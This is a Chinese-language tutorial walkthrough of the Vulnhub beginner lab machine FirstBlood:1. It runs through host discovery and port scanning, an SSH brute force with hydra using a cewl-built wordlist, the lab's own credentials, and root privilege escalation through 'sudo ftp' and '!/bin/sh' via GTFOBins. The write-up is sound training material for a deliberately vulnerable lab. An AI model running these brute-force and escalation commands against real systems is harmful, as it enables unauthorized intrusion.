Vulnhub靶机教程之firstblood:1
字数 1799 2025-08-12 12:46:02
FirstBlood:1 靶机渗透测试教程
靶机概述
FirstBlood:1 是一个专为初学者设计的 Vulnhub 靶机,提供了详细的引导式渗透测试过程。目标是通过各种技术手段获取 root 权限并读取 flag。
基本信息
- 下载地址: https://www.vulnhub.com/entry/firstblood-1,564/
- 作者: @iamv1nc3nt
- 难度: 非常简单
- 特点: 提供了大量引导提示
- 目标: 获取 root flag
环境准备
- 将靶机导入 VirtualBox
- 设置网络为桥接模式
- 注意靶机 MAC 地址: 00:0C:29:AF:56:DB
渗透测试过程
1. 信息收集
主机发现
sudo arp-scan -I eth0 192.168.176.0/24
发现靶机 IP: 192.168.176.21
端口扫描
sudo nmap -A -sS -p- -T4 -sC -Pn 192.168.176.21
扫描结果:
- 80/tcp: nginx 1.14.0 (Ubuntu)
- 60022/tcp: OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
2. Web 服务枚举
网站首页分析
- 访问 http://192.168.176.21
- 查看页面源代码(Ctrl+U),发现提示访问 /rambo.html
访问 rambo.html
提示使用 nikto 扫描:
sudo nikto -h http://192.168.176.21/
nikto 发现:
- /johnnyrambo/ 目录可访问
- robots.txt 包含一个条目: /johnnyrambo/
访问 /johnnyrambo/
提示使用 cewl 生成字典:
sudo cewl -w words.txt -d 1 -m 5 http://192.168.176.21/johnnyrambo/
生成包含 137 个单词的字典文件
访问 ssh.html
提示使用 hydra 爆破 SSH:
sudo hydra -l johnny -P words.txt -v 192.168.176.21 ssh -s 60022 -t 4
参数说明:
- -l: 指定用户名
- -P: 指定密码字典
- -v: 详细输出
- -s: 指定非标准端口
- -t: 线程数
爆破成功:
- 用户名: johnny
- 密码: Vietnam
3. 初始访问
SSH 登录:
ssh johnny@192.168.176.21 -p 60022
信息收集
- 查看 README.txt
- 查找 nginx 配置:
cat /etc/nginx/sites-enabled/default | grep -v "#"
发现 web 根目录: /var/www/html
- 检查 web 目录:
cd /var/www/html
ls
发现文件: README.txt
- 读取 README.txt,提示使用 find 命令查找可读文件:
find / -type f -readable 2>/dev/null | grep README.txt
发现: /opt/README.txt
- 读取 /opt/README.txt,获得新凭据:
- 用户名: blood
- 密码: HackThePlanet2020!!
4. 权限提升 - blood 用户
切换用户:
su blood
信息收集
- 查看 README.txt
- 检查 /home 目录:
cd /home
ls
发现用户目录: sly
- 检查 sly 目录:
cd /home/sly
ls
发现文件: README_FIRST.txt 和 README.txt
- 查看 README_FIRST.txt,提示检查 sudo 权限:
sudo -l
发现可以以 sly 用户身份执行:
sudo -u sly cat /home/sly/README.txt
- 执行命令获取 sly 的密码:
sudo -u sly cat /home/sly/README.txt
获得密码: SylvesterStalone
5. 权限提升 - sly 用户
切换用户:
su sly
检查 sudo 权限
sudo -l
发现可以以 root 身份执行:
- /usr/bin/ftp
- /usr/bin/esudo-properties (无需密码)
利用 GTFOBins 提权
访问 https://gtfobins.github.io/ 查找 ftp 的提权方法
执行:
sudo ftp
ftp> !/bin/sh
成功获取 root shell
6. 获取 root flag
cd /root
cat README.txt
读取最终 flag 和作者信息
关键知识点总结
-
信息收集技术:
- arp-scan 用于主机发现
- nmap 用于端口扫描和服务识别
- nikto 用于 Web 漏洞扫描
-
Web 渗透技术:
- 查看页面源代码获取隐藏信息
- 使用 cewl 生成密码字典
- robots.txt 文件分析
-
暴力破解:
- hydra 进行 SSH 爆破
- 字典生成技巧
-
权限提升技术:
- find 命令查找敏感文件
- sudo -l 检查可执行命令
- GTFOBins 利用
- 通过 sudo 执行命令提权
-
Linux 系统知识:
- nginx 配置分析
- 文件权限管理
- 用户切换
学习要点
- 始终关注系统提供的提示和 README 文件
- 每个步骤都可能包含下一个线索
- 善用 Linux 系统命令进行信息收集
- 理解 sudo 权限配置的安全隐患
- 掌握 GTFOBins 等提权资源的使用
这个靶机非常适合初学者学习渗透测试的基本流程和技术,通过逐步引导的方式帮助理解每个步骤的意义和方法。